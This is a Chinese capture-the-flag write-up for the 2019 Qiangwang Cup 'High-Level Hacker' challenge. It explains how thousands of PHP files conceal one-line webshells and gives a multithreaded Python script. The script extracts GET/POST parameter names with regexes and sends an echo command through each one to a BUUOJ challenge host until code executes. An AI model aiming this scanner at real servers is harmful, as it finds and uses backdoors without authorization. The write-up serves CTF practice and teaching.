[強網杯 2019]高明的黑客

[強網杯 2019]高明的黑客

下載完源碼,本想好好審計,看到數目後我的內心

hjmddd

image-20200408170606170

這麼多的文件其實就是根據一句話木🐎的原理,在大批量的文件中找到你最中意的那個PHP預定義變量GET_GET或者_POST.

此題兩種解法,

挨個審計3002個文件,挨個傳參,運氣好第一次就有了.

???(小朋友的問號)

嗯……大概看完這3002個文件,代碼審計就不是啥難事了。jg

編程序然後喝雪碧等結果

學用了keelongz大佬的正則:

get:\$_GET\[\'(\w+)\'\]

post:\$_POST\[\'(\w+)\'\]

keelongz 大佬博客連接: https://www.cnblogs.com/keelongz/p/12643812.html

腳本解釋

寫了好久,python多線程看了一個小時,喝雪碧?做夢呢~chayao

flag.txt存對應的php和參數信息

我把post的註釋了,因爲在get裏有那個回顯,文件太多了。

再測試第二次的時候,ip都給我ban了。

最大線程數記得儘量調的合適點,如果沒有輸出結果多半是被ban了ip,可以在自己本地測試。

import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8 #設置重連次數,防止線程數過高,斷開連接
session = requests.Session()
session.keep_alive = False # 設置連接活躍狀態爲False

sem=threading.Semaphore(30) # 設置最大線程數 ,別設置太大,不然還是會崩的挺厲害的,跑到關鍵的爆炸,心態就爆炸了

url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"

# 下載的源文件路徑,根據自己的路徑修改
path = r"C:\Users\lenovo\Desktop\www\\"


rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get參數

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post參數

fileNames = os.listdir(path) # 列出目錄中的文件,以每個文件都開一個線程


local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
	with sem:
		file = open( path + fileName, 'r',encoding='utf-8' )
		content = file.read()
		print("[+]checking:%s" % fileName )
		#測試get的參數
		for i in rrGET.findall(content):
			r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
			if "~h3zh1~" in r.text:
				flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
				print(flag)
				local_file.write(flag)
		#測試post的參數
		#for i in rrPOST.findall(content):
		#	r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
		#	if "~h3zh1~" in r.text:
		#		flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
		#		print(flag)
		#		local_file.writelines(flag)
if __name__ == '__main__':
	start_time = time.time() # 開始時間
	print("[start]程序開始:"+str(start_time))
	thread_list = []
	for fileName in fileNames:
		t = threading.Thread( target=run , args=(fileName,) )
		thread_list.append(t)
	for t in thread_list:
		t.start()
	for t in thread_list:
		t.join()
		
	end_time = time.time()
	local_file.close()
	print("[end]程序結束:用時(秒):"+str(end_time-start_time))

運行截圖參考:

下圖的我把別的文件都刪了,就留了有問題的文件

image-20200408184948879

在這裏插入圖片描述

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章